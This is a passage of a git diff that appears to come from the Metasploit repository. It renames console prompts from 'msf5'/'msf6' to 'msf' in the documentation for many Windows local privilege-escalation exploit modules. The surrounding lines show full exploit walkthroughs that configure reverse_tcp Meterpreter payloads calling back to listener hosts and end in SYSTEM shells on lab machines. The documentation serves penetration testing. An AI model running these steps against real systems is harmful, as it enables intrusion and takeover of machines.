PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/canon_driver_privesc) > show options +msf exploit(windows/local/canon_driver_privesc) > show options Module options (exploit/windows/local/canon_driver_privesc): @@ -222,7 +222,7 @@ Exploit target: 0 Windows -msf6 exploit(windows/local/canon_driver_privesc) > exploit +msf exploit(windows/local/canon_driver_privesc) > exploit [*] Started reverse TCP handler on 192.168.224.128:8877 [*] Running automatic check ("set AutoCheck false" to disable) @@ -232,7 +232,7 @@ msf6 exploit(windows/local/canon_driver_privesc) > exploit [*] Adding printer SFywU... [*] Deleting printer SFywU [*] Exploit completed, but no session was created. -msf6 exploit(windows/local/canon_driver_privesc) > exploit +msf exploit(windows/local/canon_driver_privesc) > exploit [*] Started reverse TCP handler on 192.168.224.128:8877 [*] Running automatic check ("set AutoCheck false" to disable) @@ -309,4 +309,4 @@ test DESKTOP-DIK4B96 (null) meterpreter > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/windows/local/comahawk.md b/documentation/modules/exploit/windows/local/comahawk.md index 1f12fb79de207..3f1336bf9d1c3 100644 --- a/documentation/modules/exploit/windows/local/comahawk.md +++ b/documentation/modules/exploit/windows/local/comahawk.md @@ -46,16 +46,16 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/windows/local/comahawk -msf5 exploit(windows/local/comahawk) > set versbose true +msf exploit(multi/handler) > use exploit/windows/local/comahawk +msf exploit(windows/local/comahawk) > set versbose true versbose => true -msf5 exploit(windows/local/comahawk) > set session 1 +msf exploit(windows/local/comahawk) > set session 1 session => 1 -msf5 exploit(windows/local/comahawk) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/comahawk) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/comahawk) > set lhost 192.168.135.168 +msf exploit(windows/local/comahawk) > set lhost 192.168.135.168 lhost => 192.168.135.168 -msf5 exploit(windows/local/comahawk) > show options +msf exploit(windows/local/comahawk) > show options Module options (exploit/windows/local/comahawk): @@ -85,7 +85,7 @@ Exploit target: 0 Windows x64 -msf5 exploit(windows/local/comahawk) > run +msf exploit(windows/local/comahawk) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] Attempting to PrivEsc on DESKTOP-D1E425Q via session ID: 1 diff --git a/documentation/modules/exploit/windows/local/cve_2018_8453_win32k_priv_esc.md b/documentation/modules/exploit/windows/local/cve_2018_8453_win32k_priv_esc.md index 7929655d54c37..18cf6c596b440 100644 --- a/documentation/modules/exploit/windows/local/cve_2018_8453_win32k_priv_esc.md +++ b/documentation/modules/exploit/windows/local/cve_2018_8453_win32k_priv_esc.md @@ -17,7 +17,7 @@ This module has been tested with Windows 10 v1703 x86. Offsets within the soluti ### Windows 10 v1703 x86 ``` -msf5 exploit(windows/local/cve_2018_8453_win32k_priv_esc) > sessions +msf exploit(windows/local/cve_2018_8453_win32k_priv_esc) > sessions Active sessions =============== @@ -26,9 +26,9 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter x86/windows DESKTOP-T6J3V2L\testuser @ DESKTOP-T6J3V2L 172.22.222.136:4444 -> 172.22.222.130:49693 (172.22.222.130) -msf5 exploit(windows/local/cve_2018_8453_win32k_priv_esc) > set session 1 +msf exploit(windows/local/cve_2018_8453_win32k_priv_esc) > set session 1 session => 1 -msf5 exploit(windows/local/cve_2018_8453_win32k_priv_esc) > exploit +msf exploit(windows/local/cve_2018_8453_win32k_priv_esc) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [+] Exploit finished, wait for privileged payload execution to complete. @@ -49,5 +49,5 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.22.222.130 - Meterpreter session 2 closed. Reason: User exit -msf5 exploit(windows/local/cve_2018_8453_win32k_priv_esc) > +msf exploit(windows/local/cve_2018_8453_win32k_priv_esc) > ``` diff --git a/documentation/modules/exploit/windows/local/cve_2019_1458_wizardopium.md b/documentation/modules/exploit/windows/local/cve_2019_1458_wizardopium.md index 2cf7028dbc2f3..5902c7a59042b 100644 --- a/documentation/modules/exploit/windows/local/cve_2019_1458_wizardopium.md +++ b/documentation/modules/exploit/windows/local/cve_2019_1458_wizardopium.md @@ -27,7 +27,7 @@ of Windows. ### Windows 7 SP1 x64 with win32k.sys Version 6.1.7601.17514 ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started bind TCP handler against 172.24.15.185:4444 [*] Sending stage (200262 bytes) to 172.24.15.185 @@ -44,9 +44,9 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2019_1458_wizardopium +msf exploit(multi/handler) > use exploit/windows/local/cve_2019_1458_wizardopium [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2019_1458_wizardopium) > show options +msf exploit(windows/local/cve_2019_1458_wizardopium) > show options Module options (exploit/windows/local/cve_2019_1458_wizardopium): @@ -72,11 +72,11 @@ Exploit target: 0 Windows 7 x64 -msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set SESSION 1 +msf exploit(windows/local/cve_2019_1458_wizardopium) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/cve_2019_1458_wizardopium) > set LPORT 6633 +msf exploit(windows/local/cve_2019_1458_wizardopium) > set LPORT 6633 LPORT => 6633 -msf6 exploit(windows/local/cve_2019_1458_wizardopium) > exploit +msf exploit(windows/local/cve_2019_1458_wizardopium) > exploit [*] Started reverse TCP handler on 172.24.12.125:6633 [*] Executing automatic check (disable AutoCheck to override) @@ -134,7 +134,7 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 2... -msf6 exploit(windows/local/cve_2019_1458_wizardopium) > sessions +msf exploit(windows/local/cve_2019_1458_wizardopium) > sessions Active sessions =============== @@ -144,5 +144,5 @@ Active sessions 1 meterpreter x64/windows test-PC\test @ TEST-PC 0.0.0.0:0 -> 172.24.15.185:4444 (172.24.15.185) 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ TEST-PC 172.24.12.125:6633 -> 172.24.15.185:49223 (172.24.15.185) -msf6 exploit(windows/local/cve_2019_1458_wizardopium) > +msf exploit(windows/local/cve_2019_1458_wizardopium) > ``` diff --git a/documentation/modules/exploit/windows/local/cve_2020_0668_service_tracing.md b/documentation/modules/exploit/windows/local/cve_2020_0668_service_tracing.md index 751dba8bab108..5801b0ced4ce1 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_0668_service_tracing.md +++ b/documentation/modules/exploit/windows/local/cve_2020_0668_service_tracing.md @@ -124,16 +124,16 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 1... -msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0668_service_tracing -msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > use exploit/windows/local/cve_2020_0668_service_tracing +msf exploit(windows/local/cve_2020_0668_service_tracing) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set lhost 192.168.135.168 +msf exploit(windows/local/cve_2020_0668_service_tracing) > set lhost 192.168.135.168 lhost => 192.168.135.168 -msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set verbose true +msf exploit(windows/local/cve_2020_0668_service_tracing) > set verbose true verbose => true -msf5 exploit(windows/local/cve_2020_0668_service_tracing) > set session 1 +msf exploit(windows/local/cve_2020_0668_service_tracing) > set session 1 session => 1 -msf5 exploit(windows/local/cve_2020_0668_service_tracing) > show options +msf exploit(windows/local/cve_2020_0668_service_tracing) > show options Module options (exploit/windows/local/cve_2020_0668_service_tracing): @@ -162,7 +162,7 @@ Exploit target: 0 Windows x64 -msf5 exploit(windows/local/cve_2020_0668_service_tracing) > run +msf exploit(windows/local/cve_2020_0668_service_tracing) > run [*] Started reverse TCP handler on 192.168.135.168:4444 [*] Build Number = 17134 diff --git a/documentation/modules/exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move.md b/documentation/modules/exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move.md index e35dc374d0b8d..51631ddbaa960 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move.md +++ b/documentation/modules/exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move.md @@ -54,7 +54,7 @@ vulnerability. ### Windows 10 v1909 x64 - Build 18363.418 ``` -msf5 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.26.22.128:4444 [*] Sending stage (201283 bytes) to 172.26.22.128 @@ -77,8 +77,8 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 2... -msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options +msf exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move): @@ -105,9 +105,9 @@ Exploit target: 0 Windows DLL Dropper -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/x64/meterpreter/bind_tcp +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/x64/meterpreter/bind_tcp PAYLOAD => windows/x64/meterpreter/bind_tcp -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move): @@ -134,11 +134,11 @@ Exploit target: 0 Windows DLL Dropper -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.22.128 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.22.128 RHOST => 172.26.22.128 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 9988 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 9988 LPORT => 9988 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move): @@ -165,11 +165,11 @@ Exploit target: 0 Windows DLL Dropper -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSIOn 2 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSIOn 2 SESSIOn => 2 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 40 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 40 JOB_WAIT_TIME => 40 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit [*] Step #1: Checking target environment... [*] Step #2: Generating the malicious DLL... @@ -220,7 +220,7 @@ meterpreter > ### Windows 10 v1903 x86 - Build 18362.30 ``` -msf5 exploit(multi/handler) > show options +msf exploit(multi/handler) > show options Module options (exploit/multi/handler): @@ -244,7 +244,7 @@ Exploit target: 0 Wildcard Target -msf5 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.26.17.231:4444 [*] Sending stage (176195 bytes) to 172.26.17.231 @@ -267,12 +267,12 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 4... -msf5 exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/meterpreter/bind_tcp +msf exploit(multi/handler) > use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSION 4 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set SESSION 4 SESSION => 4 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > show options Module options (exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move): @@ -299,13 +299,13 @@ Exploit target: 0 Windows DLL Dropper -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.17.231 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set RHOST 172.26.17.231 RHOST => 172.26.17.231 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 8822 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set LPORT 8822 LPORT => 8822 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 30 +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > set JOB_WAIT_TIME 30 JOB_WAIT_TIME => 30 -msf5 exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit +msf exploit(windows/local/cve_2020_0787_bits_arbitrary_file_move) > exploit [*] Step #1: Checking target environment... [*] Step #2: Generating the malicious DLL... diff --git a/documentation/modules/exploit/windows/local/cve_2020_0796_smbghost.md b/documentation/modules/exploit/windows/local/cve_2020_0796_smbghost.md index 45652d561479c..01970bd5f5c39 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_0796_smbghost.md +++ b/documentation/modules/exploit/windows/local/cve_2020_0796_smbghost.md @@ -34,7 +34,7 @@ box. The default setting is to have SMBv3 compression enabled. ### Windows 10 Version 1909 Build 18363.418 x64 ``` -msf5 exploit(windows/local/cve_2020_0796_smbghost) > sessions -i -1 +msf exploit(windows/local/cve_2020_0796_smbghost) > sessions -i -1 [*] Starting interaction with 1... meterpreter > getuid @@ -54,7 +54,7 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 1... -msf5 exploit(windows/local/cve_2020_0796_smbghost) > show options +msf exploit(windows/local/cve_2020_0796_smbghost) > show options Module options (exploit/windows/local/cve_2020_0796_smbghost): @@ -79,7 +79,7 @@ Exploit target: 0 Windows 10 v1903-1909 x64 -msf5 exploit(windows/local/cve_2020_0796_smbghost) > exploit +msf exploit(windows/local/cve_2020_0796_smbghost) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -94,4 +94,4 @@ Server username: NT AUTHORITY\SYSTEM meterpreter > ``` -[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005 \ No newline at end of file +[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005 diff --git a/documentation/modules/exploit/windows/local/cve_2020_1048_printerdemon.md b/documentation/modules/exploit/windows/local/cve_2020_1048_printerdemon.md index 5f3c0a8b3812a..85f40114c7055 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_1048_printerdemon.md +++ b/documentation/modules/exploit/windows/local/cve_2020_1048_printerdemon.md @@ -73,14 +73,14 @@ to work. ### Tested on Windows10 x64 Release 1903 ``` -msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler +msf payload(windows/x64/meterpreter/reverse_tcp) > to_handler [*] Payload Handler Started as Job 2 [*] Started reverse TCP handler on 192.168.135.197:5555 -msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200262 bytes) to 192.168.132.134 +msf payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200262 bytes) to 192.168.132.134 [*] Meterpreter session 2 opened (192.168.135.197:5555 -> 192.168.132.134:49675) at 2020-08-24 12:15:07 -0500 -msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 +msf payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1 [*] Starting interaction with 2... meterpreter > sysinfo @@ -100,9 +100,9 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 2... -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/local/cve_2020_1048_printerdemon +msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/windows/local/cve_2020_1048_printerdemon [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > show options +msf exploit(windows/local/cve_2020_1048_printerdemon) > show options Module options (exploit/windows/local/cve_2020_1048_printerdemon): @@ -133,17 +133,17 @@ Exploit target: 0 Windows x64 -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set verbose true +msf exploit(windows/local/cve_2020_1048_printerdemon) > set verbose true verbose => true -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set disablepayloadhandler false +msf exploit(windows/local/cve_2020_1048_printerdemon) > set disablepayloadhandler false disablepayloadhandler => false -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set wfsdelay 600 +msf exploit(windows/local/cve_2020_1048_printerdemon) > set wfsdelay 600 wfsdelay => 600 -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > run +msf exploit(windows/local/cve_2020_1048_printerdemon) > run -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > set session 2 +msf exploit(windows/local/cve_2020_1048_printerdemon) > set session 2 session => 2 -msf6 exploit(windows/local/cve_2020_1048_printerdemon) > run +msf exploit(windows/local/cve_2020_1048_printerdemon) > run [*] Started reverse TCP handler on 192.168.135.197:4444 [*] Checking Target diff --git a/documentation/modules/exploit/windows/local/cve_2020_1054_drawiconex_lpe.md b/documentation/modules/exploit/windows/local/cve_2020_1054_drawiconex_lpe.md index a046078be7adb..2112a246bd895 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_1054_drawiconex_lpe.md +++ b/documentation/modules/exploit/windows/local/cve_2020_1054_drawiconex_lpe.md @@ -35,18 +35,18 @@ ExitOnSession => false [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.13.37:4444 -msf6 exploit(multi/handler) > [*] Sending stage (200262 bytes) to 192.168.13.106 +msf exploit(multi/handler) > [*] Sending stage (200262 bytes) to 192.168.13.106 [*] Meterpreter session 1 opened (192.168.13.37:4444 -> 192.168.13.106:49216) at 2020-11-26 13:56:39 +0000 -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2020_1054_drawiconex_lpe +msf exploit(multi/handler) > use exploit/windows/local/cve_2020_1054_drawiconex_lpe [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set LHOST 192.168.13.37 +msf exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set LHOST 192.168.13.37 LHOST => 192.168.13.37 -msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set LPORT 5555 +msf exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set LPORT 5555 LPORT => 5555 -msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set SESSION -1 +msf exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set SESSION -1 SESSION => -1 -msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > run +msf exploit(windows/local/cve_2020_1054_drawiconex_lpe) > run [*] Started reverse TCP handler on 192.168.13.37:5555 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/local/cve_2020_1313_system_orchestrator.md b/documentation/modules/exploit/windows/local/cve_2020_1313_system_orchestrator.md index bfcf019eb27f4..911f517071b7a 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_1313_system_orchestrator.md +++ b/documentation/modules/exploit/windows/local/cve_2020_1313_system_orchestrator.md @@ -77,7 +77,7 @@ meterpreter > getsystem [-] Token Duplication (In Memory/Admin) meterpreter > background [*] Backgrounding session 12... -msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show options +msf exploit(windows/local/cve_2020_1313_system_orchestrator) > show options Module options (exploit/windows/local/cve_2020_1313_system_orchestrator): @@ -109,9 +109,9 @@ Exploit target: 0 Windows x64 -msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > set session 12 +msf exploit(windows/local/cve_2020_1313_system_orchestrator) > set session 12 session => 12 -msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > run +msf exploit(windows/local/cve_2020_1313_system_orchestrator) > run [*] Build Number = 18362 [*] Checking Target @@ -130,19 +130,19 @@ Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentV [*] C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe already exists on the target. Deleting... [*] Deleted C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe [+] Payload Scheduled for execution at 2020-09-22 08:53:47 -0500 -msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > +msf exploit(windows/local/cve_2020_1313_system_orchestrator) > [SECONDARY WINDOW FOR CALLBACK] -msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler +msf payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/handler) > set lhost 192.168.135.197 +msf exploit(multi/handler) > set lhost 192.168.135.197 lhost => 192.168.135.197 -msf6 exploit(multi/handler) > set lport 4444 +msf exploit(multi/handler) > set lport 4444 lport => 4444 -msf6 exploit(multi/handler) > run -j -msf6 exploit(multi/handler) > jobs -l +msf exploit(multi/handler) > run -j +msf exploit(multi/handler) > jobs -l Jobs ==== @@ -151,14 +151,14 @@ Jobs -- ---- ------- ------------ 0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.135.197:4444 -msf6 exploit(multi/handler) > set lport 4568 +msf exploit(multi/handler) > set lport 4568 lport => 4568 -msf6 exploit(multi/handler) > run -j +msf exploit(multi/handler) > run -j [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.135.197:4568 -msf6 exploit(multi/handler) > jobs -l +msf exploit(multi/handler) > jobs -l Jobs ==== @@ -168,10 +168,10 @@ Jobs 0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.135.197:4444 1 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.135.197:4568 -msf6 exploit(multi/handler) > +msf exploit(multi/handler) > [*] Sending stage (200262 bytes) to 192.168.132.134 [*] Meterpreter session 3 opened (192.168.135.197:4568 -> 192.168.132.134:49681) at 2020-09-21 20:09:45 -0500 -msf6 exploit(multi/handler) > sessions -l +msf exploit(multi/handler) > sessions -l Active sessions =============== @@ -180,7 +180,7 @@ Active sessions -- ---- ---- ----------- ---------- 3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-CL5L2IH 192.168.135.197:4568 -> 192.168.132.134:49681 (192.168.132.134) -msf6 exploit(multi/handler) > sessions -i 3 +msf exploit(multi/handler) > sessions -i 3 [*] Starting interaction with 3... meterpreter > sysinfo diff --git a/documentation/modules/exploit/windows/local/cve_2020_1337_printerdemon.md b/documentation/modules/exploit/windows/local/cve_2020_1337_printerdemon.md index fb5d82958ce0a..beea8dd3c64d2 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_1337_printerdemon.md +++ b/documentation/modules/exploit/windows/local/cve_2020_1337_printerdemon.md @@ -82,7 +82,7 @@ Verify you get a session [*] Sending stage (200262 bytes) to 192.168.132.134 [*] Meterpreter session 3 opened (192.168.135.197:5555 -> 192.168.132.134:49675) at 2020-12-16 13:52:03 -0600 -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > sessions -i -1 +msf exploit(windows/local/cve_2020_1337_printerdemon) > sessions -i -1 [*] Starting interaction with 3... meterpreter > sysinfo @@ -103,7 +103,7 @@ meterpreter > getsystem [-] Named Pipe Impersonation (RPCSS variant) meterpreter > background [*] Backgrounding session 3... -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > show options +msf exploit(windows/local/cve_2020_1337_printerdemon) > show options Module options (exploit/windows/local/cve_2020_1337_printerdemon): @@ -135,15 +135,15 @@ Exploit target: 0 Automatic -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(windows/local/cve_2020_1337_printerdemon) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > set session 3 +msf exploit(windows/local/cve_2020_1337_printerdemon) > set session 3 session => 3 -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > set disablepayloadhandler false +msf exploit(windows/local/cve_2020_1337_printerdemon) > set disablepayloadhandler false disablepayloadhandler => false -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > set wfsdelay 600 +msf exploit(windows/local/cve_2020_1337_printerdemon) > set wfsdelay 600 wfsdelay => 600 -msf6 exploit(windows/local/cve_2020_1337_printerdemon) > run +msf exploit(windows/local/cve_2020_1337_printerdemon) > run [*] Started reverse TCP handler on 192.168.135.197:4444 [*] Checking Target diff --git a/documentation/modules/exploit/windows/local/cve_2020_17136.md b/documentation/modules/exploit/windows/local/cve_2020_17136.md index 3833ecd35126b..4f2555f0fa252 100644 --- a/documentation/modules/exploit/windows/local/cve_2020_17136.md +++ b/documentation/modules/exploit/windows/local/cve_2020_17136.md @@ -41,7 +41,7 @@ Time in seconds to wait before starting to read the text output from the injecte ### Windows 10 2004 x64 - Build 19041.630 with cldflt.sys version 10.0.19041.488 ``` -msf6 exploit(multi/handler) > run +msf exploit(multi/handler) > run [*] Started bind TCP handler against 172.22.152.177:4444 [*] Sending stage (200262 bytes) to 172.22.152.177 @@ -70,13 +70,13 @@ meterpreter > getsystem [-] Named Pipe Impersonation (RPCSS variant) meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2020_17136 +msf exploit(multi/handler) > use exploit/windows/local/cve_2020_17136 [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/local/cve_2020_17136) > set SESSION 1 +msf exploit(windows/local/cve_2020_17136) > set SESSION 1 SESSION => 1 -msf6 exploit(windows/local/cve_2020_17136) > check +msf exploit(windows/local/cve_2020_17136) > check [*] The target appears to be vulnerable. A vulnerable Windows 10 20H1 build was detected! -msf6 exploit(windows/local/cve_2020_17136) > show options +msf exploit(windows/local/cve_2020_17136) > show options Module options (exploit/windows/local/cve_2020_17136): @@ -104,9 +104,9 @@ Exploit target: 0 Windows DLL Dropper -msf6 exploit(windows/local/cve_2020_17136) > set LHOST 172.22.159.28 +msf exploit(windows/local/cve_2020_17136) > set LHOST 172.22.159.28 LHOST => 172.22.159.28 -msf6 exploit(windows/local/cve_2020_17136) > run +msf exploit(windows/local/cve_2020_17136) > run [*] Started reverse TCP handler on 172.22.159.28:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -214,7 +214,7 @@ test DESKTOP-KUO5CML (null) meterpreter > Background session 2? [y/N] -msf6 exploit(windows/local/cve_2020_17136) > sessions +msf exploit(windows/local/cve_2020_17136) > sessions Active sessions =============== @@ -224,5 +224,5 @@ Active sessions 1 meterpreter x64/windows DESKTOP-KUO5CML\normal @ DESKTOP-KUO5CML 0.0.0.0:0 -> 172.22.152.177:4444 (172.22.152.177) 2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-KUO5CML 172.22.159.28:4444 -> 172.22.152.177:49968 (172.22.152.177) -msf6 exploit(windows/local/cve_2020_17136) > +msf exploit(windows/local/cve_2020_17136) > ``` diff --git a/documentation/modules/exploit/windows/local/cve_2021_21551_dbutil_memmove.md b/documentation/modules/exploit/windows/local/cve_2021_21551_dbutil_memmove.md index 0dfd3892f5213..85dd19189a032 100644 --- a/documentation/modules/exploit/windows/local/cve_2021_21551_dbutil_memmove.md +++ b/documentation/modules/exploit/windows/local/cve_2021_21551_dbutil_memmove.md @@ -25,7 +25,7 @@ read and write kernel-mode memory. ### Windows 10 Version 1909 Build 18363.418 x64 ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Sending stage (200262 bytes) to 192.168.159.79 diff --git a/documentation/modules/exploit/windows/local/cve_2021_40449.md b/documentation/modules/exploit/windows/local/cve_2021_40449.md index 41eb396fe3513..ece2773a64ef0 100644 --- a/documentation/modules/exploit/windows/local/cve_2021_40449.md +++ b/documentation/modules/exploit/windows/local/cve_2021_40449.md @@ -29,7 +29,7 @@ Note the exploit may occasionally not work the first time so you may have to run ### Windows 10 1809 Build 17763.2114 x64 ``` -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.28.156.210:4444 [*] Sending stage (200262 bytes) to 172.28.156.210 @@ -53,9 +53,9 @@ Logged On Users : 2 Meterpreter : x64/windows meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/handler) > use exploit/windows/local/cve_2021_40449 +msf 